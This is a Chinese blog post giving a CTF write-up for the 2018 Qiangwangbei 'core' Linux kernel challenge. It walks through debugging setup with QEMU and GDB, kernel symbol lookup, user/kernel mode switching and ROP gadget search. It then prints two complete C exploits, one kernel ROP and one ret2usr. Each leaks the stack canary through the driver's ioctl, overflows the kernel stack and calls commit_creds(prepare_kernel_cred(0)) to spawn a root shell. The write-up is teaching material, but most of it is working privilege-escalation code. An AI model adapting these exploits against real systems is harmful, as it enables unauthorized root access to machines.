美文网首页
2018强网杯core (Kernel ROP & ret2us

2018强网杯core (Kernel ROP & ret2us

作者: HAPPYers | 来源:发表于2019-07-25 19:16 被阅读0次

加载驱动的符号表

  • 查看.text段的地址。 可以在/sys/modules/core/section/.text查看。查看需要 root 权限,因此为了方便调试,我们再改一下 init
# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh

重新打包,这样启动的时候,sh就是 root 权限了。

/ # cat /sys/module/core/sections/.text 
0xffffffffc0347000
  • 加载符号表
    语法:add-symbol-file core.ko testaddr
add-symbol-file ./core.ko 0xffffffffc0347000

GDB远程调试过程

#qemu-system-x86_64 --help | grep gdb
-gdb dev        wait for gdb connection on 'dev'
-s              shorthand for -gdb tcp::1234

可以通过 -gdb tcp:port 或者 -s 来开启调试端口,start.sh 中已经有了 -s,不必再自己设置。我们只要在gdb中target remote localhost:1234即可。
先启动start.sh脚本,开启qemu。然后再开一个终端,开gdb:

happy@ubuntu # gdb ./vmlinux -q
gef➤  add-symbol-file ./core.ko 0xffffffffc0347000
add symbol table from file "./core.ko" at
    .text_addr = 0xffffffffc0347000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
gef➤  b core_read
Breakpoint 1 at 0xffffffffc0347063
gef➤  target remote localhost:1234
Remote debugging using localhost:1234
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xffffffff9f66e7d0  →  0x2e66001f0fc3f4fb  →  0x2e66001f0fc3f4fb
...
0xffffffffa0003ef0│+0x0038: 0xffffffff9eeb673a  →  0x564190909090f9eb  →  0x564190909090f9eb
──────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0xffffffff9f66e7cf                  nop    
   0xffffffff9f66e7d0                  sti    
   0xffffffff9f66e7d1                  hlt    
 → 0xffffffff9f66e7d2                  ret    
   ↳  0xffffffff9eeb65a0                  jmp    0xffffffff9eeb6541
      0xffffffff9eeb65a2                  mov    rsi, r14
      0xffffffff9eeb65a5                  mov    rdi, r15
      0xffffffff9eeb65a8                  call   0xffffffff9f4420b0
      0xffffffff9eeb65ad                  mov    rsi, r14
      0xffffffff9eeb65b0                  mov    rdi, r15
──────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "", stopped, reason: SIGTRAP
────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff9f66e7d2 → ret 
[#1] 0xffffffff9eeb65a0 → jmp 0xffffffff9eeb6541
[#2] 0xc2 → irq_stack_union()
[#3] 0xffffffffa04c4900 → int3 
[#4] 0xffffa0da4d8b9900 → jb 0xffffa0da4d8b9971
[#5] 0xffffffffa04cc2c0 → int3 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffffff9f66e7d2 in ?? ()
gef➤  c
Continuing.

然后找到两个函数的基址

/ # cat /tmp/kallsyms  | grep commit_creds
ffffffff9369c8e0 T commit_creds
/ # cat /tmp/kallsyms  | grep prepare_kernel_cred
ffffffff9369cce0 T prepare_kernel_cred

找到vmlinux的代码段基址为0xffffffff81000000

# readelf -S vmlinux | grep .text
  [ 1] .text             PROGBITS         ffffffff81000000  00200000

或者

checksec vmlinux 
[*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

pwntools调试基址

# bpython
>>> from pwn import *
>>> vmlinux=ELF("./vmlinux")
[*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments
>>> hex(vmlinux.sym['commit_creds']-0xffffffff81000000)
'0x7fc8d'

内核和用户态的切换

用户态进入内核态

进内核态之前做的事情:swapgs、交换栈顶、push保存各种寄存器,我们只需要关注进内核时前5个push(因为第5个是ip寄存器)。




内核态返回用户态

在着陆时(返回用户态时)执行swapgs; iretq,之前说过需要设置 cs, rflags 等信息,可以写一个函数保存这些信息。iretq恢复当初push保存的寄存器时,栈顶并不在当初的位置,这就需要我们在栈溢出的payload中构造上且要注意顺序,因此我们的这个save_status函数正是做到了预先将这五个决定能否平安着陆的寄存器保存到用户变量里,然后在payload里按顺序部署好,最后也就保证了成功的着陆回用户空间。 - 注意进kernel时这五个寄存器最后做的是push保存了进之前的eip也就是用户空间的eip,我们的payload中将这个位置的值设置成get_shell函数的地址,回归以后就直接去执行get_shell了!
save_status保存寄存器部分

// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
 
// at&t flavor assembly
void save_stats() {
asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
);
}

Gadget General

ropper --file ./vmlinux --nocolor > g1

或者

ROPgadget --binary ./vmlinux > g2

PS:
测试gadget的时候,要用cpio解包出来的vmlinux。原来调试的时候用的一直是带符号表的vmlinux,导致gadget的地址都是错误的。😂

grep正则表达式

  • 查找mov rdi, eax开头的gadget
grep -n "^.\{20\}mov rdi, rax;" g1
grep -n "^.\{20\}mov rdi, rax; call" g1 | grep -v "xor eax, eax"

调试

先查看符号地址。两个符号同时查看下。

grep -e commit_creds -e prepare_kernel_cred  /tmp/kallsyms

然后执行exp文件,与gdb联调即可。

EXP和脚本

解压脚本

#! /bin/sh
FILE_NAME=$1
DIR_NAME="cores"
if [ ! -d "$DIR_NAME" ]; then
        mkdir $DIR_NAME
fi

cd $DIR_NAME && cp "../"$FILE_NAME $FILE_NAME".gz"
gunzip "./"$FILE_NAME".gz"
cpio -idm < $FILE_NAME

用法./unzip_cpio.sh core.cpio
然后会在当前目录下面的cores目录中,生成解压后的文件。

重打包脚本

find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

用法./gen_cpio.sh

exp生成与自动打包脚本

Makefile文件

.PHONY=create all
create: /home/happy/c_project/core/exp_core.c
    rm exp
    gcc /home/happy/c_project/core/exp_core.c -static -masm=intel -g -o exp

all:    create
    cp exp ./core/exp
    cd ./core && ./gen_cpio.sh core.cpio && cp core.cpio ../core.cpio

用法:make all即可自动更新当前下的core.cpio文件

EXP (Kernel ROP)

//
// Created by happy on 7/25/19.
//

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <zconf.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>

void spawn_shell() {
    if (!getuid()) {
        system("/bin/sh");
    } else {
        puts("[*] spawn shell fail!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;

size_t find_symbols() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[*]open kallsyms fail!");
        exit(0);
    }

    char buf[0x30] = {0};
    while (fgets(buf, 0x30, kallsyms_fd)) {
        if (commit_creds & prepare_kernel_cred) {
            return 0;
        }
        if (strstr(buf, "commit_creds") && !commit_creds) {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%zx", &commit_creds);
            printf("[+]commit_creds address : %zx\n", commit_creds);
            /*
            HERE WE WRONGLY USE THE VMLINUX WITH THE symbols version!!
            >>> from pwn import *
                                 >>> vmlinux=ELF("./vmlinux")
            [*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
            Arch:     amd64-64-little
            RELRO:    No RELRO
            Stack:    Canary found
            NX:       NX disabled
            PIE:      No PIE (0xffffffff81000000)
            RWX:      Has RWX segments
                                      >>> hex(vmlinux.sym['commit_creds']-0xffffffff81000000)
            '0x7fc8d'*/
            /*
             * BUT THE OFFSET CHANGE
            HERE IS THE CORRECT VERSION
            vm=ELF('core/vmlinux')
            [*] '/home/happy/ctf/kernelpwn/give_to_player/core/vmlinux'
                Arch:     amd64-64-little
                RELRO:    No RELRO
                Stack:    Canary found
                NX:       NX disabled
                PIE:      No PIE (0xffffffff81000000)
                RWX:      Has RWX segments
            >>> hex(vm.symbols['commit_creds']-0xffffffff81000000)
            '0x9c8e0'
            >>> hex(vm.symbols['prepare_kernel_cred']-0xffffffff81000000)
            '0x9cce0'
             * */
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("[+]vmlinux base addr: %zx\n", vmlinux_base);
        }
        if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("[+]prepare_kernel_cred address : %zx\n", prepare_kernel_cred);
        }

    }
    if (!(prepare_kernel_cred && commit_creds)) {
        puts("[*]ERROR!");
        exit(0);
    }
}

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
    __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
    );
    puts("[+]save status.");
}

void set_off(int fd, long long idx) {
    printf("[+]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf) {
    puts("[+]read to buf");
    ioctl(fd, 0x6677889B, buf);
}

void core_copy_func(int fd, long long size) {
    printf("[+]copy from user with size: %d\n", (unsigned short int) size);
    ioctl(fd, 0x6677889A, size);
}

int main() {
    save_status();
    int fd = open("/proc/core", 2);
    if (fd < 0) {
        puts("[*]open /proc/core fail");
        exit(0);
    }
    find_symbols();
    ssize_t offset = vmlinux_base - raw_vmlinux_base;
    printf("[+]offset : %p\n", offset);
    set_off(fd, 0x40);
    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *) buf)[0];
    printf("[+]Canary : %p\n", canary);
    size_t rop[0x1000] = {0};
    int i = 0;
    for (i = 0; i < 10; i++) { // overflow __int64 v3; // [rsp+0h] [rbp-50h]
        // and canary
        rop[i] = canary;
    }
    /*//parameter call:  rdi, rsi, rdx, rcx, r8, r9
    rop[i++] = 0xffffffff8121eea5 + offset;     //0xffffffff8121eea5: nop; pop rdi; ret;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

    rop[i++] = 0xffffffff810282f1 + offset;//0xffffffff810282f1: pop rdx; ret;
    rop[i++] = 0xffffffff810ca8f0 + offset;//0xffffffff810ca8f0: pop rcx; ret;
    rop[i++] = 0xffffffff8100d054 + offset;//0xffffffff8100d054: mov rdi, rax; call rdx;
    rop[i++] = commit_creds;

    //grep "swapgs" g1
    //0xffffffff818012da: swapgs; popfq; ret;
    rop[i++] = 0xffffffff818012da + offset;
    rop[i++] = 0;

    //0xffffffff81040a52: iretq; ret;
    rop[i++] = 0xffffffff81040a52 + offset;*/
    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    //rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;  //grep "^.\{20\}mov rdi, rax; call rdx;" g1
    rop[i++] = commit_creds;

    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

    rop[i++] = (size_t) spawn_shell;//rip
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
    return 0;
}

EXP (ret2usr)

ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。

比较一下和kernel rop做法的异同。

  1. 通过读取 /tmp/kallsyms 获取 commit_credsprepare_kernel_cred 的方法相同,同时根据这些偏移能确定 gadget 的地址。
  2. leak canary 的方法也相同,通过控制全局变量 off 读出 canary。
  3. 与 kernel rop 做法不同的是 rop 链的构造
    1. kernel rop 通过 内核空间的 rop 链达到执行 commit_creds(prepare_kernel_cred(0))以提权目的,之后通过 swapgs; iretq 等返回到用户态,执行用户空间的 system("/bin/sh") 获取 shell
    2. ret2usr 做法中,直接返回到用户空间构造的 commit_creds(prepare_kernel_cred(0))(通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是 ring 0 特权,因此可以正常运行。之后也是通过 swapgs; iretq 返回到用户态来执行用户空间的 system("/bin/sh")

从这两种做法的比较可以体会出之所以要 ret2usr,是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。

//
// Created by happy on 7/25/19.
//

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <zconf.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>

void spawn_shell() {
    if (!getuid()) {
        system("/bin/sh");
    } else {
        puts("[*] spawn shell fail!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;

size_t find_symbols() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[*]open kallsyms fail!");
        exit(0);
    }

    char buf[0x30] = {0};
    while (fgets(buf, 0x30, kallsyms_fd)) {
        if (commit_creds & prepare_kernel_cred) {
            return 0;
        }
        if (strstr(buf, "commit_creds") && !commit_creds) {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%zx", &commit_creds);
            printf("[+]commit_creds address : %zx\n", commit_creds);
            /*
            >>> from pwn import *
                                 >>> vmlinux=ELF("./vmlinux")
            [*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
            Arch:     amd64-64-little
            RELRO:    No RELRO
            Stack:    Canary found
            NX:       NX disabled
            PIE:      No PIE (0xffffffff81000000)
            RWX:      Has RWX segments
                                      >>> hex(vmlinux.sym['commit_creds']-0xffffffff81000000)
            '0x7fc8d'*/
            /*
             * BUT THE OFFSET CHANGE
            vm=ELF('core/vmlinux')
            [*] '/home/happy/ctf/kernelpwn/give_to_player/core/vmlinux'
                Arch:     amd64-64-little
                RELRO:    No RELRO
                Stack:    Canary found
                NX:       NX disabled
                PIE:      No PIE (0xffffffff81000000)
                RWX:      Has RWX segments
            >>> hex(vm.symbols['commit_creds']-0xffffffff81000000)
            '0x9c8e0'
            >>> hex(vm.symbols['prepare_kernel_cred']-0xffffffff81000000)
            '0x9cce0'
             * */
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("[+]vmlinux base addr: %zx\n", vmlinux_base);
        }
        if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("[+]prepare_kernel_cred address : %zx\n", prepare_kernel_cred);
        }

    }
    if (!(prepare_kernel_cred && commit_creds)) {
        puts("[*]ERROR!");
        exit(0);
    }
}

size_t user_cs, user_ss, user_rflags, user_sp;

void get_root(){
    char* (*pkc)(int)=prepare_kernel_cred;
    void (*cc)(char*)=commit_creds;
    (*cc)((*pkc)(0));
}

void save_status() {
    __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
    );
    puts("[+]save status.");
}

void set_off(int fd, long long idx) {
    printf("[+]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf) {
    puts("[+]read to buf");
    ioctl(fd, 0x6677889B, buf);
}

void core_copy_func(int fd, long long size) {
    printf("[+]copy from user with size: %d\n", (unsigned short int) size);
    ioctl(fd, 0x6677889A, size);
}

int main() {
    save_status();
    int fd = open("/proc/core", 2);
    if (fd < 0) {
        puts("[*]open /proc/core fail");
        exit(0);
    }
    find_symbols();
    ssize_t offset = vmlinux_base - raw_vmlinux_base;
    printf("[+]offset : %p\n", offset);
    set_off(fd, 0x40);
    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *) buf)[0];
    printf("[+]Canary : %p\n", canary);
    size_t rop[0x200] = {0};
    int i = 0;
    for (i = 0; i < 10; i++) { // overflow __int64 v3; // [rsp+0h] [rbp-50h]
        // and canary
        rop[i] = canary;
    }
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
    rop[i++] = (size_t) spawn_shell;//rip
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x200);
    core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
    return 0;
}

相关文章

网友评论

      本文标题:2018强网杯core (Kernel ROP & ret2us

      本文链接:https://www.haomeiwen.com/subject/wzeqrctx.html